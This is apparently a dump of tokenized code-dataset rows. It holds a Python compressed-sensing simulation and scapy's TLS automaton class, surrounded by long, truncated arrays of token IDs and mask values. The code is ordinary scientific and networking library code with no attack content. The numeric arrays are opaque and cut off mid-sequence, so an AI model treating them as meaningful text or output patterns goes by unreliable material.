32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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' Bayesian Online Compressed Sensing (2016) Paulo V. Rossi & Yoshiyuki Kabashima ''' from collections import namedtuple import matplotlib.pyplot as plt import numpy as np from numpy.linalg import norm from numpy.random import normal from utils import DlnH, DDlnH, G, H, moments def simulation(method='standard'): signal_length = 2000 alpha_max = 20 sigma_n_2 = 1e-1 phi = prior() P = posterior(signal_length, phi) x0 = generate_signal(signal_length, phi) print('Simulation parameters:') print('N='+str(signal_length)+', sparsity='+str(phi.rho)+ ', noise='+str(sigma_n_2)+', alpha_max='+str(alpha_max)) print('Measurement model: '+method+'\n') number_of_measurements = alpha_max*signal_length mean_square_error = np.zeros(number_of_measurements) for measurement in range(number_of_measurements): P = update_posterior(P, phi, x0, signal_length, sigma_n_2, method) mean_square_error[measurement] = reconstruction_error(P, x0) plot_results(P, x0, mean_square_error, phi) def prior(): phi = namedtuple('prior_distribution', ['rho', 'sigma_x_2', 'bar_x']) phi.rho = 0.1 phi.sigma_x_2 = 1. phi.bar_x = 0. return phi def posterior(signal_length, phi): P = namedtuple('posterior_distribution', ['m', 'v', 'a', 'h']) P.m = np.zeros(signal_length) P.v = phi.rho * phi.sigma_x_2 * np.ones(signal_length) P.a = np.zeros(signal_length) P.h = np.zeros(signal_length) return P def generate_signal (signal_length, phi): x0 = np.zeros(signal_length) number_of_non_zero_components = int(np.ceil(signal_length*phi.rho)) x0[:number_of_non_zero_components] = normal(loc=phi.bar_x, scale=np.sqrt(phi.sigma_x_2), size=number_of_non_zero_components) return x0 def update_posterior(P, phi, x0, signal_length, sigma_n_2, method): A_t = measurement_vector(signal_length) P.a, P.h = update_and_project(method, A_t, x0, sigma_n_2, P) P.m, P.v = moments(P, phi) return P def measurement_vector(signal_length): A_t = normal(size=signal_length) return A_t/norm(A_t) def update_and_project(method, A_t, x0, sigma_n_2, P): m, v, a, h = P.m, P.v, P.a, P.h u0 = np.dot(A_t, x0) if sigma_n_2 > 0: noise = normal(scale=np.sqrt(sigma_n_2)) else: noise = 0 y = u0 + noise Delta = np.dot(A_t, m) chi = np.dot(A_t**2, v) if method == 'standard': da, dh = update_and_project_std(y, Delta, chi, sigma_n_2, A_t, m) elif method == '1bit': da, dh = update_and_project_1bit(y, Delta, chi, sigma_n_2, A_t, m) else: raise ValueError('Measurement model not recognized. Please use "standard" or "1bit".') return a+da, h+dh def update_and_project_std(y, Delta, chi, sigma_n_2, A_t, m): da = A_t**2 / (sigma_n_2 + chi) dh = (y-Delta)*A_t / (sigma_n_2 + chi) + da*m return da, dh def update_and_project_1bit(y, Delta, chi, sigma_n_2, A_t, m): y = np.sign(y) u = y * np.dot(A_t, m) chi_prime = chi + sigma_n_2 z = -u/np.sqrt(chi_prime) da = -A_t**2/chi_prime * DDlnH(z) dh = -y*A_t/np.sqrt(chi_prime) * DlnH(z) + da*m return da, dh def reconstruction_error(P, x0): return norm(x0 - P.m)**2 / norm(x0)**2 def plot_results(P, x0, mse_t, phi): plt.subplots(figsize=(10,20)) plt.subplot(211) plt.plot(np.arange(len(mse_t))/float(len(P.m)), 10*np.log10(mse_t), color='k') plt.xlabel(r'$\alpha$') plt.ylabel(r'mse (dB)') plt.subplot(212) plt.plot(P.m, color='k', lw = 0.7, label=r'$m$') plt.scatter(range(int(len(x0)*phi.rho)), x0[:int(len(x0)*phi.rho)], \ marker='o', facecolors='none', edgecolors='r', lw=1.5, label=r'$x^0$') plt.xlim([0,len(P.m)]) plt.xlabel(r'Vector Component') plt.legend() plt.show() if __name__ == '__main__': simulation(method='1bit') #simulation(method='standard')
mit
[ 2344, 199, 29115, 69, 6214, 4068, 604, 3599, 5111, 428, 25843, 334, 9261, 9, 199, 48, 3844, 320, 812, 14, 820, 736, 338, 1253, 1488, 79, 19377, 89, 3210, 73, 1804, 371, 1119, 11744, 199, 2344, 199, 199, 504, 5055, 492, 12863, 199, 199, 646, 8027, 14, 13563, 465, 4488, 199, 646, 2680, 465, 980, 199, 504, 2680, 14, 10096, 492, 6316, 199, 504, 2680, 14, 2355, 492, 3293, 199, 199, 504, 3778, 492, 577, 6066, 40, 12, 29662, 6066, 40, 12, 598, 12, 869, 12, 29559, 421, 199, 318, 17625, 8, 765, 534, 6807, 735, 272, 4673, 63, 1267, 275, 12293, 272, 5131, 63, 988, 275, 3388, 272, 10819, 63, 78, 63, 18, 275, 413, 69, 13, 17, 339, 14524, 275, 6791, 342, 272, 510, 275, 2086, 17514, 8, 4653, 63, 1267, 12, 14524, 9, 272, 671, 16, 275, 3550, 63, 4653, 8, 4653, 63, 1267, 12, 14524, 9, 2286, 870, 360, 31728, 2633, 10993, 272, 870, 360, 46, 22078, 495, 8, 4653, 63, 1267, 6393, 297, 28668, 3677, 22078, 495, 8, 10909, 14, 10412, 6393, 881, 1656, 11145, 22078, 495, 8, 9412, 63, 78, 63, 18, 6393, 297, 5131, 63, 988, 22078, 495, 8, 4468, 63, 988, 430, 272, 870, 360, 18611, 434, 1402, 26, 6681, 765, 19192, 78, 358, 339, 1329, 63, 1618, 63, 30264, 275, 5131, 63, 988, 10, 4653, 63, 1267, 272, 4615, 63, 9646, 63, 705, 275, 980, 14, 4250, 8, 1955, 63, 1618, 63, 30264, 9, 272, 367, 18216, 315, 1425, 8, 1955, 63, 1618, 63, 30264, 304, 267, 510, 275, 1678, 63, 31228, 8, 48, 12, 14524, 12, 671, 16, 12, 4673, 63, 1267, 12, 10819, 63, 78, 63, 18, 12, 1083, 9, 267, 4615, 63, 9646, 63, 705, 59, 17912, 61, 275, 295, 12708, 63, 705, 8, 48, 12, 671, 16, 9, 272, 5137, 63, 2604, 8, 48, 12, 671, 16, 12, 4615, 63, 9646, 63, 705, 12, 14524, 9, 421, 199, 318, 6791, 837, 272, 14524, 275, 12863, 360, 13775, 63, 4972, 297, 788, 10412, 297, 283, 9412, 63, 88, 63, 18, 297, 283, 1700, 63, 88, 1105, 272, 14524, 14, 10412, 275, 378, 14, 17, 272, 14524, 14, 9412, 63, 88, 63, 18, 275, 413, 14, 272, 14524, 14, 1700, 63, 88, 275, 378, 14, 272, 372, 14524, 257, 26339, 199, 318, 2086, 17514, 8, 4653, 63, 1267, 12, 14524, 304, 272, 510, 275, 12863, 360, 31228, 63, 4972, 297, 788, 77, 297, 283, 86, 297, 283, 65, 297, 283, 72, 1105, 272, 510, 14, 77, 275, 980, 14, 4250, 8, 4653, 63, 1267, 9, 272, 510, 14, 86, 275, 14524, 14, 10412, 627, 14524, 14, 9412, 63, 88, 63, 18, 627, 980, 14, 4548, 8, 4653, 63, 1267, 9, 272, 510, 14, 65, 275, 980, 14, 4250, 8, 4653, 63, 1267, 9, 272, 510, 14, 72, 275, 980, 14, 4250, 8, 4653, 63, 1267, 9, 272, 372, 510, 26339, 199, 318, 3550, 63, 4653, 334, 4653, 63, 1267, 12, 14524, 304, 272, 671, 16, 275, 980, 14, 4250, 8, 4653, 63, 1267, 9, 272, 1329, 63, 1618, 63, 2865, 63, 4262, 63, 4608, 275, 1109, 8, 1590, 14, 14085, 8, 4653, 63, 1267, 10, 10909, 14, 10412, 430, 272, 671, 16, 1491, 1955, 63, 1618, 63, 2865, 63, 4262, 63, 4608, 61, 275, 3293, 8, 2102, 29, 10909, 14, 1700, 63, 88, 12, 6059, 4666, 29, 1590, 14, 5079, 8, 10909, 14, 9412, 63, 88, 63, 18, 395, 6059, 1568, 29, 1955, 63, 1618, 63, 2865, 63, 4262, 63, 4608, 9, 272, 372, 671, 16, 421, 199, 318, 1678, 63, 31228, 8, 48, 12, 14524, 12, 671, 16, 12, 4673, 63, 1267, 12, 10819, 63, 78, 63, 18, 12, 1083, 304, 272, 437, 63, 84, 275, 18216, 63, 4106, 8, 4653, 63, 1267, 9, 272, 510, 14, 65, 12, 510, 14, 72, 275, 1678, 63, 460, 63, 1715, 8, 765, 12, 437, 63, 84, 12, 671, 16, 12, 10819, 63, 78, 63, 18, 12, 510, 9, 272, 510, 14, 77, 12, 510, 14, 86, 275, 29559, 8, 48, 12, 14524, 9, 272, 372, 510, 819, 199, 318, 18216, 63, 4106, 8, 4653, 63, 1267, 304, 272, 437, 63, 84, 275, 3293, 8, 890, 29, 4653, 63, 1267, 9, 272, 372, 437, 63, 84, 15, 4791, 8, 33, 63, 84, 9, 421, 199, 318, 1678, 63, 460, 63, 1715, 8, 765, 12, 437, 63, 84, 12, 671, 16, 12, 10819, 63, 78, 63, 18, 12, 510, 304, 272, 333, 12, 373, 12, 282, 12, 394, 275, 510, 14, 77, 12, 510, 14, 86, 12, 510, 14, 65, 12, 510, 14, 72, 272, 399, 16, 275, 980, 14, 3287, 8, 33, 63, 84, 12, 671, 16, 9, 272, 340, 10819, 63, 78, 63, 18, 690, 378, 26, 267, 11145, 275, 3293, 8, 3467, 29, 1590, 14, 5079, 8, 9412, 63, 78, 63, 18, 430, 272, 587, 26, 267, 11145, 275, 378, 272, 612, 275, 399, 16, 435, 11145, 272, 18464, 502, 275, 980, 14, 3287, 8, 33, 63, 84, 12, 333, 9, 272, 23275, 275, 980, 14, 3287, 8, 33, 63, 84, 538, 18, 12, 373, 9, 272, 340, 1083, 508, 283, 6807, 356, 267, 12927, 12, 31387, 275, 1678, 63, 460, 63, 1715, 63, 1516, 8, 89, 12, 18464, 502, 12, 23275, 12, 10819, 63, 78, 63, 18, 12, 437, 63, 84, 12, 333, 9, 272, 916, 1083, 508, 283, 17, 2075, 356, 267, 12927, 12, 31387, 275, 1678, 63, 460, 63, 1715, 63, 17, 2075, 8, 89, 12, 18464, 502, 12, 23275, 12, 10819, 63, 78, 63, 18, 12, 437, 63, 84, 12, 333, 9, 272, 587, 26, 267, 746, 1722, 360, 18611, 434, 1402, 440, 18054, 14, 7754, 675, 298, 6807, 2, 503, 298, 17, 2075, 1674, 358, 272, 372, 282, 11, 983, 12, 394, 11, 7821, 421, 199, 318, 1678, 63, 460, 63, 1715, 63, 1516, 8, 89, 12, 18464, 502, 12, 23275, 12, 10819, 63, 78, 63, 18, 12, 437, 63, 84, 12, 333, 304, 272, 12927, 275, 437, 63, 84, 538, 18, 1182, 334, 9412, 63, 78, 63, 18, 435, 23275, 9, 272, 31387, 275, 334, 89, 13, 13411, 3342, 33, 63, 84, 1182, 334, 9412, 63, 78 ]
[ 199, 29115, 69, 6214, 4068, 604, 3599, 5111, 428, 25843, 334, 9261, 9, 199, 48, 3844, 320, 812, 14, 820, 736, 338, 1253, 1488, 79, 19377, 89, 3210, 73, 1804, 371, 1119, 11744, 199, 2344, 199, 199, 504, 5055, 492, 12863, 199, 199, 646, 8027, 14, 13563, 465, 4488, 199, 646, 2680, 465, 980, 199, 504, 2680, 14, 10096, 492, 6316, 199, 504, 2680, 14, 2355, 492, 3293, 199, 199, 504, 3778, 492, 577, 6066, 40, 12, 29662, 6066, 40, 12, 598, 12, 869, 12, 29559, 421, 199, 318, 17625, 8, 765, 534, 6807, 735, 272, 4673, 63, 1267, 275, 12293, 272, 5131, 63, 988, 275, 3388, 272, 10819, 63, 78, 63, 18, 275, 413, 69, 13, 17, 339, 14524, 275, 6791, 342, 272, 510, 275, 2086, 17514, 8, 4653, 63, 1267, 12, 14524, 9, 272, 671, 16, 275, 3550, 63, 4653, 8, 4653, 63, 1267, 12, 14524, 9, 2286, 870, 360, 31728, 2633, 10993, 272, 870, 360, 46, 22078, 495, 8, 4653, 63, 1267, 6393, 297, 28668, 3677, 22078, 495, 8, 10909, 14, 10412, 6393, 881, 1656, 11145, 22078, 495, 8, 9412, 63, 78, 63, 18, 6393, 297, 5131, 63, 988, 22078, 495, 8, 4468, 63, 988, 430, 272, 870, 360, 18611, 434, 1402, 26, 6681, 765, 19192, 78, 358, 339, 1329, 63, 1618, 63, 30264, 275, 5131, 63, 988, 10, 4653, 63, 1267, 272, 4615, 63, 9646, 63, 705, 275, 980, 14, 4250, 8, 1955, 63, 1618, 63, 30264, 9, 272, 367, 18216, 315, 1425, 8, 1955, 63, 1618, 63, 30264, 304, 267, 510, 275, 1678, 63, 31228, 8, 48, 12, 14524, 12, 671, 16, 12, 4673, 63, 1267, 12, 10819, 63, 78, 63, 18, 12, 1083, 9, 267, 4615, 63, 9646, 63, 705, 59, 17912, 61, 275, 295, 12708, 63, 705, 8, 48, 12, 671, 16, 9, 272, 5137, 63, 2604, 8, 48, 12, 671, 16, 12, 4615, 63, 9646, 63, 705, 12, 14524, 9, 421, 199, 318, 6791, 837, 272, 14524, 275, 12863, 360, 13775, 63, 4972, 297, 788, 10412, 297, 283, 9412, 63, 88, 63, 18, 297, 283, 1700, 63, 88, 1105, 272, 14524, 14, 10412, 275, 378, 14, 17, 272, 14524, 14, 9412, 63, 88, 63, 18, 275, 413, 14, 272, 14524, 14, 1700, 63, 88, 275, 378, 14, 272, 372, 14524, 257, 26339, 199, 318, 2086, 17514, 8, 4653, 63, 1267, 12, 14524, 304, 272, 510, 275, 12863, 360, 31228, 63, 4972, 297, 788, 77, 297, 283, 86, 297, 283, 65, 297, 283, 72, 1105, 272, 510, 14, 77, 275, 980, 14, 4250, 8, 4653, 63, 1267, 9, 272, 510, 14, 86, 275, 14524, 14, 10412, 627, 14524, 14, 9412, 63, 88, 63, 18, 627, 980, 14, 4548, 8, 4653, 63, 1267, 9, 272, 510, 14, 65, 275, 980, 14, 4250, 8, 4653, 63, 1267, 9, 272, 510, 14, 72, 275, 980, 14, 4250, 8, 4653, 63, 1267, 9, 272, 372, 510, 26339, 199, 318, 3550, 63, 4653, 334, 4653, 63, 1267, 12, 14524, 304, 272, 671, 16, 275, 980, 14, 4250, 8, 4653, 63, 1267, 9, 272, 1329, 63, 1618, 63, 2865, 63, 4262, 63, 4608, 275, 1109, 8, 1590, 14, 14085, 8, 4653, 63, 1267, 10, 10909, 14, 10412, 430, 272, 671, 16, 1491, 1955, 63, 1618, 63, 2865, 63, 4262, 63, 4608, 61, 275, 3293, 8, 2102, 29, 10909, 14, 1700, 63, 88, 12, 6059, 4666, 29, 1590, 14, 5079, 8, 10909, 14, 9412, 63, 88, 63, 18, 395, 6059, 1568, 29, 1955, 63, 1618, 63, 2865, 63, 4262, 63, 4608, 9, 272, 372, 671, 16, 421, 199, 318, 1678, 63, 31228, 8, 48, 12, 14524, 12, 671, 16, 12, 4673, 63, 1267, 12, 10819, 63, 78, 63, 18, 12, 1083, 304, 272, 437, 63, 84, 275, 18216, 63, 4106, 8, 4653, 63, 1267, 9, 272, 510, 14, 65, 12, 510, 14, 72, 275, 1678, 63, 460, 63, 1715, 8, 765, 12, 437, 63, 84, 12, 671, 16, 12, 10819, 63, 78, 63, 18, 12, 510, 9, 272, 510, 14, 77, 12, 510, 14, 86, 275, 29559, 8, 48, 12, 14524, 9, 272, 372, 510, 819, 199, 318, 18216, 63, 4106, 8, 4653, 63, 1267, 304, 272, 437, 63, 84, 275, 3293, 8, 890, 29, 4653, 63, 1267, 9, 272, 372, 437, 63, 84, 15, 4791, 8, 33, 63, 84, 9, 421, 199, 318, 1678, 63, 460, 63, 1715, 8, 765, 12, 437, 63, 84, 12, 671, 16, 12, 10819, 63, 78, 63, 18, 12, 510, 304, 272, 333, 12, 373, 12, 282, 12, 394, 275, 510, 14, 77, 12, 510, 14, 86, 12, 510, 14, 65, 12, 510, 14, 72, 272, 399, 16, 275, 980, 14, 3287, 8, 33, 63, 84, 12, 671, 16, 9, 272, 340, 10819, 63, 78, 63, 18, 690, 378, 26, 267, 11145, 275, 3293, 8, 3467, 29, 1590, 14, 5079, 8, 9412, 63, 78, 63, 18, 430, 272, 587, 26, 267, 11145, 275, 378, 272, 612, 275, 399, 16, 435, 11145, 272, 18464, 502, 275, 980, 14, 3287, 8, 33, 63, 84, 12, 333, 9, 272, 23275, 275, 980, 14, 3287, 8, 33, 63, 84, 538, 18, 12, 373, 9, 272, 340, 1083, 508, 283, 6807, 356, 267, 12927, 12, 31387, 275, 1678, 63, 460, 63, 1715, 63, 1516, 8, 89, 12, 18464, 502, 12, 23275, 12, 10819, 63, 78, 63, 18, 12, 437, 63, 84, 12, 333, 9, 272, 916, 1083, 508, 283, 17, 2075, 356, 267, 12927, 12, 31387, 275, 1678, 63, 460, 63, 1715, 63, 17, 2075, 8, 89, 12, 18464, 502, 12, 23275, 12, 10819, 63, 78, 63, 18, 12, 437, 63, 84, 12, 333, 9, 272, 587, 26, 267, 746, 1722, 360, 18611, 434, 1402, 440, 18054, 14, 7754, 675, 298, 6807, 2, 503, 298, 17, 2075, 1674, 358, 272, 372, 282, 11, 983, 12, 394, 11, 7821, 421, 199, 318, 1678, 63, 460, 63, 1715, 63, 1516, 8, 89, 12, 18464, 502, 12, 23275, 12, 10819, 63, 78, 63, 18, 12, 437, 63, 84, 12, 333, 304, 272, 12927, 275, 437, 63, 84, 538, 18, 1182, 334, 9412, 63, 78, 63, 18, 435, 23275, 9, 272, 31387, 275, 334, 89, 13, 13411, 3342, 33, 63, 84, 1182, 334, 9412, 63, 78, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
mtury/scapy
scapy/layers/tls/automaton.py
1
9879
# This file is part of Scapy # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016, 2017 Maxence Tury # This program is published under a GPLv2 license """ The _TLSAutomaton class provides methods common to both TLS client and server. """ import struct from scapy.automaton import Automaton from scapy.config import conf from scapy.error import log_interactive from scapy.packet import Raw from scapy.layers.tls.basefields import _tls_type from scapy.layers.tls.cert import Cert, PrivKey from scapy.layers.tls.record import TLS from scapy.layers.tls.record_sslv2 import SSLv2 from scapy.layers.tls.record_tls13 import TLS13 class _TLSAutomaton(Automaton): """ SSLv3 and TLS 1.0-1.2 typically need a 2-RTT handshake: Client Server | --------->>> | C1 - ClientHello | <<<--------- | S1 - ServerHello | <<<--------- | S1 - Certificate | <<<--------- | S1 - ServerKeyExchange | <<<--------- | S1 - ServerHelloDone | --------->>> | C2 - ClientKeyExchange | --------->>> | C2 - ChangeCipherSpec | --------->>> | C2 - Finished [encrypted] | <<<--------- | S2 - ChangeCipherSpec | <<<--------- | S2 - Finished [encrypted] We call these successive groups of messages: ClientFlight1, ServerFlight1, ClientFlight2 and ServerFlight2. With TLS 1.3, the handshake require only 1-RTT: Client Server | --------->>> | C1 - ClientHello | <<<--------- | S1 - ServerHello | <<<--------- | S1 - Certificate [encrypted] | <<<--------- | S1 - CertificateVerify [encrypted] | <<<--------- | S1 - Finished [encrypted] | --------->>> | C2 - Finished [encrypted] We want to send our messages from the same flight all at once through the socket. This is achieved by managing a list of records in 'buffer_out'. We may put several messages (i.e. what RFC 5246 calls the record fragments) in the same record when possible, but we may need several records for the same flight, as with ClientFlight2. However, note that the flights from the opposite side may be spread wildly across TLS records and TCP packets. This is why we use a 'get_next_msg' method for feeding a list of received messages, 'buffer_in'. Raw data which has not yet been interpreted as a TLS record is kept in 'remain_in'. """ def parse_args(self, mycert=None, mykey=None, **kargs): super(_TLSAutomaton, self).parse_args(**kargs) self.socket = None self.remain_in = b"" self.buffer_in = [] # these are 'fragments' inside records self.buffer_out = [] # these are records self.cur_session = None self.cur_pkt = None # this is usually the latest parsed packet if mycert: self.mycert = Cert(mycert) else: self.mycert = None if mykey: self.mykey = PrivKey(mykey) else: self.mykey = None self.verbose = kargs.get("verbose", True) def get_next_msg(self, socket_timeout=2, retry=2): """ The purpose of the function is to make next message(s) available in self.buffer_in. If the list is not empty, nothing is done. If not, in order to fill it, the function uses the data already available in self.remain_in from a previous call and waits till there are enough to dissect a TLS packet. Once dissected, the content of the TLS packet (carried messages, or 'fragments') is appended to self.buffer_in. We have to grab enough data to dissect a TLS packet. We start by reading the first 2 bytes. Unless we get anything different from \\x14\\x03, \\x15\\x03, \\x16\\x03 or \\x17\\x03 (which might indicate an SSLv2 record, whose first 2 bytes encode the length), we retrieve 3 more bytes in order to get the length of the TLS record, and finally we can retrieve the remaining of the record. """ if self.buffer_in: # A message is already available. return self.socket.settimeout(socket_timeout) is_sslv2_msg = False still_getting_len = True grablen = 2 while retry and (still_getting_len or len(self.remain_in) < grablen): if not is_sslv2_msg and grablen == 5 and len(self.remain_in) >= 5: grablen = struct.unpack('!H', self.remain_in[3:5])[0] + 5 still_getting_len = False elif grablen == 2 and len(self.remain_in) >= 2: byte0, byte1 = struct.unpack("BB", self.remain_in[:2]) if (byte0 in _tls_type) and (byte1 == 3): # Retry following TLS scheme. This will cause failure # for SSLv2 packets with length 0x1{4-7}03. grablen = 5 else: # Extract the SSLv2 length. is_sslv2_msg = True still_getting_len = False if byte0 & 0x80: grablen = 2 + 0 + ((byte0 & 0x7f) << 8) + byte1 else: grablen = 2 + 1 + ((byte0 & 0x3f) << 8) + byte1 elif not is_sslv2_msg and grablen == 5 and len(self.remain_in) >= 5: # noqa: E501 grablen = struct.unpack('!H', self.remain_in[3:5])[0] + 5 if grablen == len(self.remain_in): break try: tmp = self.socket.recv(grablen - len(self.remain_in)) if not tmp: retry -= 1 else: self.remain_in += tmp except Exception: self.vprint("Could not join host ! Retrying...") retry -= 1 if len(self.remain_in) < 2 or len(self.remain_in) != grablen: # Remote peer is not willing to respond return if (byte0 == 0x17 and (self.cur_session.advertised_tls_version >= 0x0304 or self.cur_session.tls_version >= 0x0304)): p = TLS13(self.remain_in, tls_session=self.cur_session) self.remain_in = b"" self.buffer_in += p.inner.msg else: p = TLS(self.remain_in, tls_session=self.cur_session) self.cur_session = p.tls_session self.remain_in = b"" if isinstance(p, SSLv2) and not p.msg: p.msg = Raw("") if self.cur_session.tls_version is None or \ self.cur_session.tls_version < 0x0304: self.buffer_in += p.msg else: if isinstance(p, TLS13): self.buffer_in += p.inner.msg else: # should be TLS13ServerHello only self.buffer_in += p.msg while p.payload: if isinstance(p.payload, Raw): self.remain_in += p.payload.load p = p.payload elif isinstance(p.payload, TLS): p = p.payload if self.cur_session.tls_version is None or \ self.cur_session.tls_version < 0x0304: self.buffer_in += p.msg else: self.buffer_in += p.inner.msg def raise_on_packet(self, pkt_cls, state, get_next_msg=True): """ If the next message to be processed has type 'pkt_cls', raise 'state'. If there is no message waiting to be processed, we try to get one with the default 'get_next_msg' parameters. """ # Maybe we already parsed the expected packet, maybe not. if get_next_msg: self.get_next_msg() from scapy.layers.tls.handshake import TLSClientHello if (not self.buffer_in or (not isinstance(self.buffer_in[0], pkt_cls) and not (isinstance(self.buffer_in[0], TLSClientHello) and self.cur_session.advertised_tls_version == 0x0304))): return self.cur_pkt = self.buffer_in[0] self.buffer_in = self.buffer_in[1:] raise state() def add_record(self, is_sslv2=None, is_tls13=None): """ Add a new TLS or SSLv2 or TLS 1.3 record to the packets buffered out. """ if is_sslv2 is None and is_tls13 is None: v = (self.cur_session.tls_version or self.cur_session.advertised_tls_version) if v in [0x0200, 0x0002]: is_sslv2 = True elif v >= 0x0304: is_tls13 = True if is_sslv2: self.buffer_out.append(SSLv2(tls_session=self.cur_session)) elif is_tls13: self.buffer_out.append(TLS13(tls_session=self.cur_session)) else: self.buffer_out.append(TLS(tls_session=self.cur_session)) def add_msg(self, pkt): """ Add a TLS message (e.g. TLSClientHello or TLSApplicationData) inside the latest record to be sent through the socket. We believe a good automaton should not use the first test. """ if not self.buffer_out: self.add_record() r = self.buffer_out[-1] if isinstance(r, TLS13): self.buffer_out[-1].inner.msg.append(pkt) else: self.buffer_out[-1].msg.append(pkt) def flush_records(self): """ Send all buffered records and update the session accordingly. """ s = b"".join(p.raw_stateful() for p in self.buffer_out) self.socket.send(s) self.buffer_out = [] def vprint(self, s=""): if self.verbose: if conf.interactive: log_interactive.info("> %s", s) else: print("> %s" % s)
gpl-2.0
[ 3, 961, 570, 365, 1777, 402, 428, 2874, 89, 199, 3, 1898, 334, 35, 9, 10219, 12, 9079, 12, 8937, 1952, 3540, 1181, 662, 4982, 1005, 199, 3, 5185, 6900, 12, 7800, 12, 9708, 8228, 4894, 377, 18359, 199, 3, 961, 2240, 365, 3267, 1334, 282, 14629, 86, 18, 4190, 199, 199, 624, 199, 1918, 485, 10224, 3358, 569, 265, 1021, 6571, 3102, 2863, 370, 3865, 12213, 1890, 436, 1654, 14, 199, 624, 199, 199, 646, 2702, 199, 199, 504, 308, 2874, 89, 14, 2495, 569, 265, 492, 9195, 569, 265, 199, 504, 308, 2874, 89, 14, 888, 492, 3743, 199, 504, 308, 2874, 89, 14, 705, 492, 943, 63, 13543, 199, 504, 308, 2874, 89, 14, 6253, 492, 13480, 199, 504, 308, 2874, 89, 14, 4359, 14, 9945, 14, 1095, 955, 492, 485, 9945, 63, 466, 199, 504, 308, 2874, 89, 14, 4359, 14, 9945, 14, 4736, 492, 11002, 84, 12, 8538, 86, 1197, 199, 504, 308, 2874, 89, 14, 4359, 14, 9945, 14, 3059, 492, 12213, 199, 504, 308, 2874, 89, 14, 4359, 14, 9945, 14, 3059, 63, 4266, 86, 18, 492, 7799, 86, 18, 199, 504, 308, 2874, 89, 14, 4359, 14, 9945, 14, 3059, 63, 9945, 969, 492, 12213, 969, 421, 199, 533, 485, 10224, 3358, 569, 265, 8, 3358, 569, 265, 304, 272, 408, 272, 7799, 86, 19, 436, 12213, 413, 14, 16, 13, 17, 14, 18, 13609, 1929, 282, 499, 13, 50, 1481, 14305, 26, 339, 6810, 263, 7146, 489, 1204, 3001, 13, 6071, 1204, 259, 445, 17, 446, 6810, 6257, 489, 1204, 5213, 28, 9960, 1204, 259, 428, 17, 446, 7146, 6257, 489, 1204, 5213, 28, 9960, 1204, 259, 428, 17, 446, 12904, 489, 1204, 5213, 28, 9960, 1204, 259, 428, 17, 446, 7146, 1197, 13188, 489, 1204, 